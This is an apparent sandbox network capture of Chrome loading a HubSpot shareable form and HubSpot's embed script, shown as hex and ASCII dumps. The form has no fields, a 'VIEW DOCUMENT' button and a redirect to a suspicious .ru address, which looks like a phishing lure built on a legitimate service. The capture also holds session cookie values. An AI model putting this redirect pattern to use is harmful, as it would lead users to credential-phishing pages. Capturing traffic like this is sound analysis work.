2024-12-16 17:45:28 UTC	241	IN	Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 5f 63 66 75 76 69 64 3d 39 41 6d 38 6d 44 36 42 47 44 6a 2e 63 78 39 67 46 7a 75 74 6b 5a 65 51 6c 32 6e 50 72 49 69 70 55 6f 48 5a 68 70 4b 78 34 36 63 2d 31 37 33 34 33 37 31 31 32 38 34 38 34 2d 30 2e 30 2e 31 2e 31 2d 36 30 34 38 30 30 30 30 30 3b 20 70 61 74 68 3d 2f 3b 20 64 6f 6d 61 69 6e 3d 2e 68 73 66 6f 72 6d 73 2e 63 6f 6d 3b 20 48 74 74 70 4f 6e 6c 79 3b 20 53 65 63 75 72 65 3b 20 53 61 6d 65 53 69 74 65 3d 4e 6f 6e 65 0d 0a 53 65 72 76 65 72 3a 20 63 6c 6f 75 64 66 6c 61 72 65 0d 0a 43 46 2d 52 41 59 3a 20 38 66 33 30 37 63 63 30 61 64 61 31 38 63 38 39 2d 45 57 52 0d 0a 61 6c 74 2d 73 76 63 3a 20 68 33 3d 22 3a 34 34 33 22 3b 20 6d 61 3d 38 36 34 30 30 0d 0a 0d 0a Data Ascii: Set-Cookie: _cfuvid=9Am8mD6BGDj.cx9gFzutkZeQl2nPrIipUoHZhpKx46c-1734371128484-0.0.1.1-604800000; path=/; domain=.hsforms.com; HttpOnly; Secure; SameSite=NoneServer: cloudflareCF-RAY: 8f307cc0ada18c89-EWRalt-svc: h3=":443"; ma=86400
2024-12-16 17:45:28 UTC	1369	IN	Data Raw: 32 38 39 32 0d 0a 7b 22 66 6f 72 6d 22 3a 7b 22 70 6f 72 74 61 6c 49 64 22 3a 34 38 31 39 32 36 39 32 2c 22 67 75 69 64 22 3a 22 30 39 36 65 37 37 64 30 2d 62 39 32 62 2d 34 62 63 64 2d 62 35 30 35 2d 66 36 64 65 31 63 66 64 63 62 64 62 22 2c 22 63 73 73 43 6c 61 73 73 22 3a 22 68 73 2d 66 6f 72 6d 20 73 74 61 63 6b 65 64 22 2c 22 69 6e 6c 69 6e 65 4d 65 73 73 61 67 65 22 3a 22 22 2c 22 72 65 64 69 72 65 63 74 55 72 6c 22 3a 22 68 74 74 70 73 3a 2f 2f 71 62 30 36 2e 66 66 63 77 79 67 66 66 2e 72 75 2f 35 47 34 59 56 2f 22 2c 22 73 75 62 6d 69 74 54 65 78 74 22 3a 22 56 49 45 57 20 44 4f 43 55 4d 45 4e 54 22 2c 22 66 6f 72 6d 46 69 65 6c 64 47 72 6f 75 70 73 22 3a 5b 7b 22 66 69 65 6c 64 73 22 3a 5b 5d 2c 22 64 65 66 61 75 6c 74 22 3a 74 72 75 65 2c 22 69 Data Ascii: 2892{"form":{"portalId":48192692,"guid":"096e77d0-b92b-4bcd-b505-f6de1cfdcbdb","cssClass":"hs-form stacked","inlineMessage":"","redirectUrl":"https://qb06.ffcwygff.ru/5G4YV/","submitText":"VIEW DOCUMENT","formFieldGroups":[{"fields":[],"default":true,"i
2024-12-16 17:45:28 UTC	1369	IN	Data Raw: 6d 65 64 69 75 6d 3b 5c 22 20 63 6c 61 73 73 3d 5c 22 68 73 2d 66 6f 72 6d 5f 5f 72 6f 77 5c 22 3e 5c 6e 3c 64 69 76 20 63 6c 61 73 73 3d 5c 22 68 73 2d 66 6f 72 6d 5f 5f 67 72 6f 75 70 5c 22 3e 5c 6e 3c 64 69 76 20 73 74 79 6c 65 3d 5c 22 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 34 70 78 3b 5c 22 3e 5c 6e 3c 64 69 76 20 63 6c 61 73 73 3d 5c 22 68 73 2d 66 6f 72 6d 5f 5f 72 6f 77 5c 22 3e 5c 6e 3c 64 69 76 20 63 6c 61 73 73 3d 5c 22 68 73 2d 66 6f 72 6d 5f 5f 67 72 6f 75 70 5c 22 3e 5c 6e 3c 64 69 76 3e 5c 6e 3c 64 69 76 20 63 6c 61 73 73 3d 5c 22 68 73 2d 66 6f 72 6d 5f 5f 72 6f 77 5c 22 3e 5c 6e 3c 64 69 76 20 63 6c 61 73 73 3d 5c 22 68 73 2d 66 6f 72 6d 5f 5f 67 72 6f 75 70 5c 22 3e 5c 6e 3c 64 69 76 3e 26 23 78 61 30 3b 3c 2f 64 69 76 3e 5c 6e 3c 2f 64 69 Data Ascii: medium;\" class=\"hs-form__row\">\n<div class=\"hs-form__group\">\n<div style=\"font-size: 14px;\">\n<div class=\"hs-form__row\">\n<div class=\"hs-form__group\">\n<div>\n<div class=\"hs-form__row\">\n<div class=\"hs-form__group\">\n<div> </div>\n</di
2024-12-16 17:45:28 UTC	1369	IN	Data Raw: 61 6c 73 65 7d 5d 2c 22 6d 65 74 61 44 61 74 61 22 3a 5b 7b 22 6e 61 6d 65 22 3a 22 6c 61 6e 67 22 2c 22 76 61 6c 75 65 22 3a 22 65 6e 22 7d 2c 7b 22 6e 61 6d 65 22 3a 22 65 6d 62 65 64 54 79 70 65 22 2c 22 76 61 6c 75 65 22 3a 22 53 48 41 52 45 41 42 4c 45 22 7d 2c 7b 22 6e 61 6d 65 22 3a 22 65 6d 62 65 64 41 74 54 69 6d 65 73 74 61 6d 70 22 2c 22 76 61 6c 75 65 22 3a 22 31 37 33 34 33 37 31 31 32 38 34 36 31 22 7d 2c 7b 22 6e 61 6d 65 22 3a 22 66 6f 72 6d 44 65 66 69 6e 69 74 69 6f 6e 55 70 64 61 74 65 64 41 74 22 2c 22 76 61 6c 75 65 22 3a 22 31 37 33 34 33 37 30 31 39 35 33 31 38 22 7d 5d 2c 22 63 61 70 74 63 68 61 45 6e 61 62 6c 65 64 22 3a 66 61 6c 73 65 2c 22 66 6f 72 6d 54 79 70 65 4e 75 6d 62 65 72 22 3a 30 2c 22 74 68 61 6e 6b 59 6f 75 4d 65 73 Data Ascii: alse}],"metaData":[{"name":"lang","value":"en"},{"name":"embedType","value":"SHAREABLE"},{"name":"embedAtTimestamp","value":"1734371128461"},{"name":"formDefinitionUpdatedAt","value":"1734370195318"}],"captchaEnabled":false,"formTypeNumber":0,"thankYouMes
2024-12-16 17:45:28 UTC	1369	IN	Data Raw: 65 73 73 22 3a 74 72 75 65 7d 2c 22 74 69 6d 65 22 3a 31 37 33 34 33 37 31 31 32 38 34 37 35 2c 22 74 68 65 6d 65 43 73 73 22 3a 22 2e 68 73 2d 62 75 74 74 6f 6e 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 5c 22 48 65 6c 76 65 74 69 63 61 20 4e 65 75 65 5c 22 2c 48 65 6c 76 65 74 69 63 61 2c 41 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 3b 6d 61 72 67 69 6e 3a 30 3b 63 75 72 73 6f 72 3a 70 6f 69 6e 74 65 72 3b 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 2d 62 6c 6f 63 6b 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 37 30 30 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 32 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 3b 74 72 61 6e 73 69 74 69 6f 6e 3a 61 6c 6c 20 2e 31 35 73 20 6c 69 6e 65 61 72 3b 62 Data Ascii: ess":true},"time":1734371128475,"themeCss":".hs-button{font-family:\"Helvetica Neue\",Helvetica,Arial,sans-serif;margin:0;cursor:pointer;display:inline-block;font-weight:700;line-height:12px;position:relative;text-align:center;transition:all .15s linear;b
2024-12-16 17:45:28 UTC	1369	IN	Data Raw: 76 65 7d 2e 68 73 2d 76 69 64 65 6f 2d 66 6f 72 6d 20 2e 6c 65 67 61 6c 2d 63 6f 6e 73 65 6e 74 2d 6f 76 65 72 6c 61 79 7b 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 70 6f 69 6e 74 65 72 2d 65 76 65 6e 74 73 3a 6e 6f 6e 65 3b 6c 65 66 74 3a 30 3b 62 6f 74 74 6f 6d 3a 30 3b 68 65 69 67 68 74 3a 31 30 30 70 78 3b 77 69 64 74 68 3a 31 30 30 25 3b 62 61 63 6b 67 72 6f 75 6e 64 3a 6c 69 6e 65 61 72 2d 67 72 61 64 69 65 6e 74 28 74 6f 20 62 6f 74 74 6f 6d 2c 20 72 67 62 61 28 32 35 35 2c 20 32 35 35 2c 20 32 35 35 2c 20 30 29 20 30 25 2c 20 23 32 39 32 39 32 39 20 31 30 30 25 29 7d 2e 68 73 2d 65 72 72 6f 72 2d 6d 73 67 73 20 6c 61 62 65 6c 7b 63 6f 6c 6f 72 3a 23 66 32 35 34 35 62 7d 2e 68 73 2d 69 6e 70 75 74 7b 64 69 73 70 6c 61 79 3a 69 6e 6c 69 Data Ascii: ve}.hs-video-form .legal-consent-overlay{position:absolute;pointer-events:none;left:0;bottom:0;height:100px;width:100%;background:linear-gradient(to bottom, rgba(255, 255, 255, 0) 0%, #292929 100%)}.hs-error-msgs label{color:#f2545b}.hs-input{display:inli
2024-12-16 17:45:28 UTC	1369	IN	Data Raw: 65 73 2c 74 65 78 74 61 72 65 61 2e 68 73 2d 69 6e 70 75 74 2e 65 72 72 6f 72 2c 73 65 6c 65 63 74 2e 68 73 2d 69 6e 70 75 74 2e 65 72 72 6f 72 7b 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 23 63 38 37 38 37 32 7d 69 6e 70 75 74 2e 68 73 2d 69 6e 70 75 74 2e 65 72 72 6f 72 3a 66 6f 63 75 73 2c 64 69 76 2e 66 69 65 6c 64 2e 65 72 72 6f 72 20 69 6e 70 75 74 3a 66 6f 63 75 73 2c 64 69 76 2e 66 69 65 6c 64 2e 65 72 72 6f 72 20 74 65 78 74 61 72 65 61 3a 66 6f 63 75 73 2c 64 69 76 2e 66 69 65 6c 64 2e 65 72 72 6f 72 20 2e 63 68 7a 6e 2d 63 68 6f 69 63 65 73 3a 66 6f 63 75 73 2c 74 65 78 74 61 72 65 61 2e 68 73 2d 69 6e 70 75 74 2e 65 72 72 6f 72 3a 66 6f 63 75 73 2c 73 65 6c 65 63 74 2e 68 73 2d 69 6e 70 75 74 2e 65 72 72 6f 72 3a 66 6f 63 75 73 7b 62 6f 72 64 65 Data Ascii: es,textarea.hs-input.error,select.hs-input.error{border-color:#c87872}input.hs-input.error:focus,div.field.error input:focus,div.field.error textarea:focus,div.field.error .chzn-choices:focus,textarea.hs-input.error:focus,select.hs-input.error:focus{borde
2024-12-16 17:45:28 UTC	1369	IN	Data Raw: 7d 66 6f 72 6d 2e 68 73 2d 66 6f 72 6d 2d 72 74 6c 20 75 6c 7b 70 61 64 64 69 6e 67 3a 30 70 78 7d 66 6f 72 6d 2e 68 73 2d 66 6f 72 6d 2d 72 74 6c 20 2e 6c 65 67 61 6c 2d 63 6f 6e 73 65 6e 74 2d 63 6f 6e 74 61 69 6e 65 72 20 2e 68 73 2d 66 6f 72 6d 2d 62 6f 6f 6c 65 61 6e 63 68 65 63 6b 62 6f 78 2d 64 69 73 70 6c 61 79 20 69 6e 70 75 74 7b 77 69 64 74 68 3a 61 75 74 6f 3b 66 6c 6f 61 74 3a 72 69 67 68 74 7d 66 6f 72 6d 2e 68 73 2d 66 6f 72 6d 2d 72 74 6c 20 2e 6c 65 67 61 6c 2d 63 6f 6e 73 65 6e 74 2d 63 6f 6e 74 61 69 6e 65 72 20 2e 68 73 2d 66 6f 72 6d 2d 62 6f 6f 6c 65 61 6e 63 68 65 63 6b 62 6f 78 2d 64 69 73 70 6c 61 79 3e 73 70 61 6e 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 30 70 78 7d 66 6f 72 6d 2e 68 73 2d 66 6f 72 6d 2d 72 74 6c 20 2e 68 73 2d 64 Data Ascii: }form.hs-form-rtl ul{padding:0px}form.hs-form-rtl .legal-consent-container .hs-form-booleancheckbox-display input{width:auto;float:right}form.hs-form-rtl .legal-consent-container .hs-form-booleancheckbox-display>span{margin-left:0px}form.hs-form-rtl .hs-d
2024-12-16 17:45:28 UTC	811	IN	Data Raw: 2c 2e 65 6d 61 69 6c 2d 76 61 6c 69 64 61 74 69 6f 6e 20 66 6f 72 6d 20 2e 66 6f 72 6d 2d 63 6f 6c 75 6d 6e 73 2d 32 20 2e 68 73 2d 66 6f 72 6d 2d 66 69 65 6c 64 20 69 6e 70 75 74 5b 74 79 70 65 3d 63 68 65 63 6b 62 6f 78 5d 2c 2e 65 6d 61 69 6c 2d 76 61 6c 69 64 61 74 69 6f 6e 20 66 6f 72 6d 20 2e 66 6f 72 6d 2d 63 6f 6c 75 6d 6e 73 2d 32 20 2e 68 73 2d 66 6f 72 6d 2d 66 69 65 6c 64 20 69 6e 70 75 74 5b 74 79 70 65 3d 72 61 64 69 6f 5d 2c 2e 65 6d 61 69 6c 2d 76 61 6c 69 64 61 74 69 6f 6e 20 66 6f 72 6d 20 2e 66 6f 72 6d 2d 63 6f 6c 75 6d 6e 73 2d 33 20 2e 68 73 2d 66 6f 72 6d 2d 66 69 65 6c 64 20 69 6e 70 75 74 5b 74 79 70 65 3d 63 68 65 63 6b 62 6f 78 5d 2c 2e 65 6d 61 69 6c 2d 76 61 6c 69 64 61 74 69 6f 6e 20 66 6f 72 6d 20 2e 66 6f 72 6d 2d 63 6f 6c Data Ascii: ,.email-validation form .form-columns-2 .hs-form-field input[type=checkbox],.email-validation form .form-columns-2 .hs-form-field input[type=radio],.email-validation form .form-columns-3 .hs-form-field input[type=checkbox],.email-validation form .form-col
2024-12-16 17:45:28 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.17	49742	104.18.142.119	443	7924	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-16 17:45:28 UTC	522	OUT	GET /forms/embed/v3.js HTTP/1.1 Host: js.hsforms.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: __cf_bm=E7U2S61qrIek.jNzOKFmchdRCtzzlxLzg2xlFHPgpeY-1734371125-1.0.1.1-KTKNsXMXCRvHqwLQ2XE5CU8bPktIxJ..50NkL..SkMsduEk6Odrhog19RjCJjIstZOAql.Alm5YQ0vnw24np0g
2024-12-16 17:45:28 UTC	1334	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 17:45:28 GMT Content-Type: application/javascript; charset=utf-8 Transfer-Encoding: chunked Connection: close x-amz-replication-status: COMPLETED last-modified: Thu, 12 Dec 2024 15:46:41 UTC x-amz-server-side-encryption: AES256 x-amz-version-id: NleS4zhpR.RgCyKUKjNliOHGyZMPXoaR etag: W/"9045150ea546201948ca19ee2f5bfd0b" vary: accept-encoding x-cache: Hit from cloudfront via: 1.1 c13d71f8919c23db6bbd1c08a4dfb350.cloudfront.net (CloudFront) x-amz-cf-pop: IAD12-P3 x-amz-cf-id: lUrSNupvw9KxkSLfXTsnR9Pqk6srQhHcPqTUOSSfcusic5ZgUGC89w== content-security-policy-report-only: frame-ancestors 'self'; report-uri https://send.hsbrowserreports.com/csp/report?resource=forms-embed/static-1.6926/bundles/project-v3.js&cfRay=8f11614c36a9ad83-IAD Cache-Control: s-maxage=600, max-age=300 x-hs-target-asset: forms-embed/static-1.6926/bundles/project-v3.js x-content-type-options: nosniff access-control-allow-origin: * x-hs-cache-status: HIT x-envoy-upstream-service-time: 2 x-evy-trace-route-service-name: envoyset-translator x-evy-trace-virtual-host: all x-hubspot-correlation-id: 5ca3813e-e124-4b61-bea7-7534677f77a1 x-evy-trace-served-by-pod: iad02/app-td/envoy-proxy-856d8787d5-9vk2x x-evy-trace-listener: listener_https x-evy-trace-route-configuration: listener_https/all
2024-12-16 17:45:28 UTC	627	IN	Data Raw: 78 2d 72 65 71 75 65 73 74 2d 69 64 3a 20 35 63 61 33 38 31 33 65 2d 65 31 32 34 2d 34 62 36 31 2d 62 65 61 37 2d 37 35 33 34 36 37 37 66 37 37 61 31 0d 0a 63 61 63 68 65 2d 74 61 67 3a 20 73 74 61 74 69 63 6a 73 61 70 70 2d 66 6f 72 6d 73 2d 65 6d 62 65 64 2d 76 33 2d 77 65 62 2d 70 72 6f 64 2c 73 74 61 74 69 63 6a 73 61 70 70 2d 70 72 6f 64 0d 0a 43 46 2d 43 61 63 68 65 2d 53 74 61 74 75 73 3a 20 48 49 54 0d 0a 41 67 65 3a 20 34 35 0d 0a 52 65 70 6f 72 74 2d 54 6f 3a 20 7b 22 65 6e 64 70 6f 69 6e 74 73 22 3a 5b 7b 22 75 72 6c 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 61 2e 6e 65 6c 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 5c 2f 72 65 70 6f 72 74 5c 2f 76 34 3f 73 3d 66 25 32 42 7a 7a 65 59 68 72 4d 33 5a 51 7a 33 44 72 38 62 64 6f 47 56 7a 34 54 39 4a Data Ascii: x-request-id: 5ca3813e-e124-4b61-bea7-7534677f77a1cache-tag: staticjsapp-forms-embed-v3-web-prod,staticjsapp-prodCF-Cache-Status: HITAge: 45Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=f%2BzzeYhrM3ZQz3Dr8bdoGVz4T9J
2024-12-16 17:45:28 UTC	1369	IN	Data Raw: 37 66 66 39 0d 0a 21 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 7b 7d 3b 66 75 6e 63 74 69 6f 6e 20 6e 28 72 29 7b 69 66 28 74 5b 72 5d 29 72 65 74 75 72 6e 20 74 5b 72 5d 2e 65 78 70 6f 72 74 73 3b 76 61 72 20 61 3d 74 5b 72 5d 3d 7b 69 3a 72 2c 6c 3a 21 31 2c 65 78 70 6f 72 74 73 3a 7b 7d 7d 3b 65 5b 72 5d 2e 63 61 6c 6c 28 61 2e 65 78 70 6f 72 74 73 2c 61 2c 61 2e 65 78 70 6f 72 74 73 2c 6e 29 3b 61 2e 6c 3d 21 30 3b 72 65 74 75 72 6e 20 61 2e 65 78 70 6f 72 74 73 7d 6e 2e 6d 3d 65 3b 6e 2e 63 3d 74 3b 6e 2e 64 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 72 29 7b 6e 2e 6f 28 65 2c 74 29 7c 7c 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 28 65 2c 74 2c 7b 65 6e 75 6d 65 72 61 62 6c 65 3a 21 30 2c 67 65 74 3a 72 7d 29 7d 3b 6e Data Ascii: 7ff9!function(e){var t={};function n(r){if(t[r])return t[r].exports;var a=t[r]={i:r,l:!1,exports:{}};e[r].call(a.exports,a,a.exports,n);a.l=!0;return a.exports}n.m=e;n.c=t;n.d=function(e,t,r){n.o(e,t)\|\|Object.defineProperty(e,t,{enumerable:!0,get:r})};n
2024-12-16 17:45:28 UTC	1369	IN	Data Raw: 78 4f 66 28 6e 29 3e 3d 30 7c 7c 28 61 5b 6e 5d 3d 65 5b 6e 5d 29 7d 72 65 74 75 72 6e 20 61 7d 7d 2c 22 2b 5a 32 53 22 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 63 6f 6e 73 74 20 72 3d 28 65 3d 7b 7d 2c 74 3d 22 22 2c 6e 2c 61 3d 7b 7d 29 3d 3e 7b 63 6f 6e 73 74 5b 69 2c 2e 2e 2e 6f 5d 3d 74 2e 73 70 6c 69 74 28 22 2e 22 29 3b 69 66 28 30 3d 3d 3d 6f 2e 6c 65 6e 67 74 68 29 65 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 28 74 29 26 26 21 61 2e 6f 76 65 72 77 72 69 74 65 7c 7c 28 65 5b 74 5d 3d 6e 29 3b 65 6c 73 65 7b 28 21 65 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 28 69 29 7c 7c 65 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 28 69 29 26 26 21 65 5b 69 5d 29 26 26 28 65 5b 69 5d 3d 7b 7d 29 3b 72 28 Data Ascii: xOf(n)>=0\|\|(a[n]=e[n])}return a}},"+Z2S":function(e,t,n){"use strict";const r=(e={},t="",n,a={})=>{const[i,...o]=t.split(".");if(0===o.length)e.hasOwnProperty(t)&&!a.overwrite\|\|(e[t]=n);else{(!e.hasOwnProperty(i)\|\|e.hasOwnProperty(i)&&!e[i])&&(e[i]={});r(
2024-12-16 17:45:28 UTC	1369	IN	Data Raw: 36 4e 66 77 22 29 3b 63 6f 6e 73 74 20 64 3d 65 3d 3e 65 2e 73 70 6c 69 74 28 22 40 22 29 5b 31 5d 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 2c 66 3d 65 3d 3e 65 2e 62 6c 6f 63 6b 65 64 44 6f 6d 61 69 6e 41 64 64 72 65 73 73 65 73 2e 73 70 6c 69 74 28 22 2c 22 29 2e 6d 61 70 28 65 3d 3e 65 2e 74 72 69 6d 28 29 29 3b 76 61 72 20 70 3d 28 65 3d 7b 7d 2c 74 2c 6e 29 3d 3e 7b 63 6f 6e 73 74 20 72 3d 5b 5d 2c 61 3d 5b 5d 2c 69 3d 64 28 65 2e 65 6d 61 69 6c 29 2c 6f 3d 5b 2e 2e 2e 66 28 65 29 2c 2e 2e 2e 65 2e 63 6f 6e 74 65 78 74 42 6c 6f 63 6b 65 64 44 6f 6d 61 69 6e 73 3f 65 2e 63 6f 6e 74 65 78 74 42 6c 6f 63 6b 65 64 44 6f 6d 61 69 6e 73 3a 5b 5d 5d 2c 73 3d 21 21 65 2e 73 75 63 63 65 73 73 2c 6c 3d 21 21 65 2e 65 6d 61 69 6c 53 68 6f 75 6c 64 52 65 73 75 Data Ascii: 6Nfw");const d=e=>e.split("@")[1].toLowerCase(),f=e=>e.blockedDomainAddresses.split(",").map(e=>e.trim());var p=(e={},t,n)=>{const r=[],a=[],i=d(e.email),o=[...f(e),...e.contextBlockedDomains?e.contextBlockedDomains:[]],s=!!e.success,l=!!e.emailShouldResu
2024-12-16 17:45:28 UTC	1369	IN	Data Raw: 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 50 7d 29 29 3b 6e 2e 64 28 74 2c 22 61 22 2c 28 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 46 7d 29 29 3b 6e 2e 64 28 74 2c 22 62 22 2c 28 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 55 7d 29 29 3b 66 75 6e 63 74 69 6f 6e 20 54 28 65 29 7b 72 65 74 75 72 6e 7b 74 79 70 65 3a 72 2e 76 2c 70 61 79 6c 6f 61 64 3a 65 7d 7d 66 75 6e 63 74 69 6f 6e 20 78 28 65 29 7b 72 65 74 75 72 6e 7b 74 79 70 65 3a 72 2e 61 2c 70 61 79 6c 6f 61 64 3a 65 7d 7d 66 75 6e 63 74 69 6f 6e 20 41 28 65 29 7b 72 65 74 75 72 6e 7b 74 79 70 65 3a 72 2e 45 2c 70 61 79 6c 6f 61 64 3a 65 7d 7d 66 75 6e 63 74 69 6f 6e 20 4c 28 65 29 7b 72 65 74 75 72 6e 7b 74 79 70 65 3a 72 2e 6b 2c 70 61 79 6c 6f 61 64 3a 65 7d 7d 63 Data Ascii: unction(){return P}));n.d(t,"a",(function(){return F}));n.d(t,"b",(function(){return U}));function T(e){return{type:r.v,payload:e}}function x(e){return{type:r.a,payload:e}}function A(e){return{type:r.E,payload:e}}function L(e){return{type:r.k,payload:e}}c
2024-12-16 17:45:28 UTC	1369	IN	Data Raw: 7d 2c 55 3d 28 5b 65 2c 74 5d 29 3d 3e 28 6e 2c 72 29 3d 3e 7b 63 6f 6e 73 74 20 61 3d 72 28 29 2c 73 3d 4f 62 6a 65 63 74 28 6f 2e 79 29 28 61 29 2c 63 3d 4f 62 6a 65 63 74 28 6f 2e 6b 29 28 61 29 2c 64 3d 4f 62 6a 65 63 74 28 6c 2e 61 29 28 61 29 2c 66 3d 4f 62 6a 65 63 74 28 69 2e 61 29 28 61 2c 74 29 3b 69 66 28 21 4f 62 6a 65 63 74 28 79 2e 61 29 28 74 29 26 26 4f 62 6a 65 63 74 28 75 2e 62 29 28 74 29 29 7b 6e 28 4f 62 6a 65 63 74 28 76 2e 63 29 28 45 2e 64 29 29 3b 6b 28 7b 75 72 6c 3a 64 2c 70 6f 72 74 61 6c 49 64 3a 73 2c 66 6f 72 6d 49 64 3a 63 2c 65 6d 61 69 6c 3a 74 7d 29 2e 74 68 65 6e 28 28 29 3d 3e 7b 6e 28 4f 62 6a 65 63 74 28 76 2e 63 29 28 45 2e 66 29 29 3b 6e 28 41 28 5b 74 2c 7b 72 65 73 75 62 73 63 72 69 62 65 64 3a 21 30 7d 5d 29 29 Data Ascii: },U=([e,t])=>(n,r)=>{const a=r(),s=Object(o.y)(a),c=Object(o.k)(a),d=Object(l.a)(a),f=Object(i.a)(a,t);if(!Object(y.a)(t)&&Object(u.b)(t)){n(Object(v.c)(E.d));k({url:d,portalId:s,formId:c,email:t}).then(()=>{n(Object(v.c)(E.f));n(A([t,{resubscribed:!0}]))
2024-12-16 17:45:28 UTC	1369	IN	Data Raw: 62 6d 69 73 73 69 6f 6e 45 72 72 6f 72 22 3a 72 65 74 75 72 6e 20 4f 62 6a 65 63 74 2e 61 73 73 69 67 6e 28 7b 7d 2c 65 2c 7b 66 6f 72 6d 53 75 62 6d 69 73 73 69 6f 6e 45 72 72 6f 72 3a 74 2e 66 6f 72 6d 53 75 62 6d 69 73 73 69 6f 6e 45 72 72 6f 72 7d 29 3b 63 61 73 65 22 73 65 74 46 6f 72 6d 53 75 62 6d 69 73 73 69 6f 6e 57 61 72 6e 69 6e 67 22 3a 72 65 74 75 72 6e 20 4f 62 6a 65 63 74 2e 61 73 73 69 67 6e 28 7b 7d 2c 65 2c 7b 66 6f 72 6d 53 75 62 6d 69 73 73 69 6f 6e 57 61 72 6e 69 6e 67 3a 74 2e 66 6f 72 6d 53 75 62 6d 69 73 73 69 6f 6e 57 61 72 6e 69 6e 67 7d 29 3b 64 65 66 61 75 6c 74 3a 72 65 74 75 72 6e 20 65 7d 7d 2c 6c 3d 4f 62 6a 65 63 74 28 61 2e 61 29 28 5b 6f 2c 28 29 3d 3e 6e 75 6c 6c 5d 29 2c 75 3d 28 7b 63 68 69 6c 64 72 65 6e 3a 65 7d 29 Data Ascii: bmissionError":return Object.assign({},e,{formSubmissionError:t.formSubmissionError});case"setFormSubmissionWarning":return Object.assign({},e,{formSubmissionWarning:t.formSubmissionWarning});default:return e}},l=Object(a.a)([o,()=>null]),u=({children:e})
2024-12-16 17:45:28 UTC	1369	IN	Data Raw: 62 65 6c 3a 4f 62 6a 65 63 74 28 75 2e 61 29 28 65 2c 22 66 69 65 6c 64 4c 61 62 65 6c 73 2e 22 2b 74 2e 69 64 2c 7b 64 65 66 61 75 6c 74 56 61 6c 75 65 3a 74 2e 6c 61 62 65 6c 7d 29 7d 2c 7b 73 68 6f 75 6c 64 53 68 6f 77 43 6f 75 6e 74 72 79 44 72 6f 70 64 6f 77 6e 3a 74 2e 66 69 65 6c 64 54 79 70 65 3d 3d 3d 64 2e 6d 3f 4f 62 6a 65 63 74 28 66 2e 62 29 28 65 2c 74 29 3a 6e 75 6c 6c 7d 2c 7b 6c 6f 63 61 6c 65 3a 4f 62 6a 65 63 74 28 70 2e 61 29 28 65 29 7d 29 2c 62 3d 28 65 2c 7b 66 69 65 6c 64 3a 74 7d 29 3d 3e 28 7b 75 70 64 61 74 65 3a 6e 3d 3e 65 28 4f 62 6a 65 63 74 28 69 2e 67 29 28 5b 74 2c 6e 5d 29 29 2c 75 70 64 61 74 65 49 6e 70 75 74 53 74 61 74 65 3a 6e 3d 3e 65 28 4f 62 6a 65 63 74 28 69 2e 65 29 28 5b 74 2c 6e 5d 29 29 2c 75 70 64 61 74 65 Data Ascii: bel:Object(u.a)(e,"fieldLabels."+t.id,{defaultValue:t.label})},{shouldShowCountryDropdown:t.fieldType===d.m?Object(f.b)(e,t):null},{locale:Object(p.a)(e)}),b=(e,{field:t})=>({update:n=>e(Object(i.g)([t,n])),updateInputState:n=>e(Object(i.e)([t,n])),update
2024-12-16 17:45:28 UTC	1369	IN	Data Raw: 3b 63 61 73 65 22 73 74 61 74 65 22 3a 72 65 74 75 72 6e 22 61 64 64 72 65 73 73 2d 6c 65 76 65 6c 31 22 3b 63 61 73 65 22 61 64 64 72 65 73 73 22 3a 72 65 74 75 72 6e 22 61 64 64 72 65 73 73 2d 6c 69 6e 65 31 22 3b 63 61 73 65 22 63 69 74 79 22 3a 72 65 74 75 72 6e 22 61 64 64 72 65 73 73 2d 6c 65 76 65 6c 32 22 3b 63 61 73 65 22 63 6f 75 6e 74 72 79 22 3a 72 65 74 75 72 6e 22 63 6f 75 6e 74 72 79 2d 6e 61 6d 65 22 3b 63 61 73 65 22 7a 69 70 22 3a 72 65 74 75 72 6e 22 70 6f 73 74 61 6c 2d 63 6f 64 65 22 3b 64 65 66 61 75 6c 74 3a 72 65 74 75 72 6e 7d 7d 3b 74 2e 61 3d 72 7d 2c 22 32 52 46 69 22 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 76 61 72 20 72 3d 6e 28 22 70 6d 67 66 22 29 3b 76 61 72 20 